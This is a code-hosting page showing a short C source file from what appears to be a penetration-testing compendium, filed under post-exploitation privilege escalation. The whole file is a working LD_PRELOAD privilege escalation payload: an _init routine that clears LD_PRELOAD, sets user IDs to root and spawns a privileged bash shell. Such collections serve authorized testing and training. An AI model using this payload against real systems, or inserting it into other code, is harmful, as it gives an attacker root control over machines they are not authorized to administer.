killchain-compendium/Post Exploitation/Privilege Escalation/preload.c

10 lines
149 B
C
Raw Normal View History

2022-11-11 01:15:07 +01:00
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}